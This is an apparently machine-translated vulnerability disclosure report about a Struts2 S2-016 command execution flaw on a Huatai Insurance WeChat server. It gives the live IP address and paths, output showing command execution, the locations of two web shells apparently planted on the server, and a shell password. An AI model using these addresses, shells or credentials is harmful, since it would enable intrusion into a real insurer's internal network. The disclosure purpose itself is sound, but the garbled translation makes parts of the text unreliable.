A command execution vulnerability in a system of huatai insurance threatens the Intranet.

A command execution vulnerability in a system of huatai insurance threatens the Intranet.

Command Execution

System address:

Http: // 219.141.242.62/huataiwechart/index_neu.jsp
 

Address: Where did the customer come from? huatai property insurance public account

 

http://219.141.242.62/huataiwechart/tmp/checkcodeClaim

 

Target: http://219.141.242.62/huataiwechart/tmp/checkcodeClaimUseage: S2-016 Whoami: beaWebPath: /bea/apache-tomcat-6.0.30/webapps/huataiwechart/

You know
 

 

Pony

Http: // 219.141.242.62/huataiwechart/one. jsp

One sentence:

Http: // 219.141.242.62/huataiwechart/wooyun. jsp

Password: pandas
 

 

Many sub-sites
 

 

 

Solution:

Patch.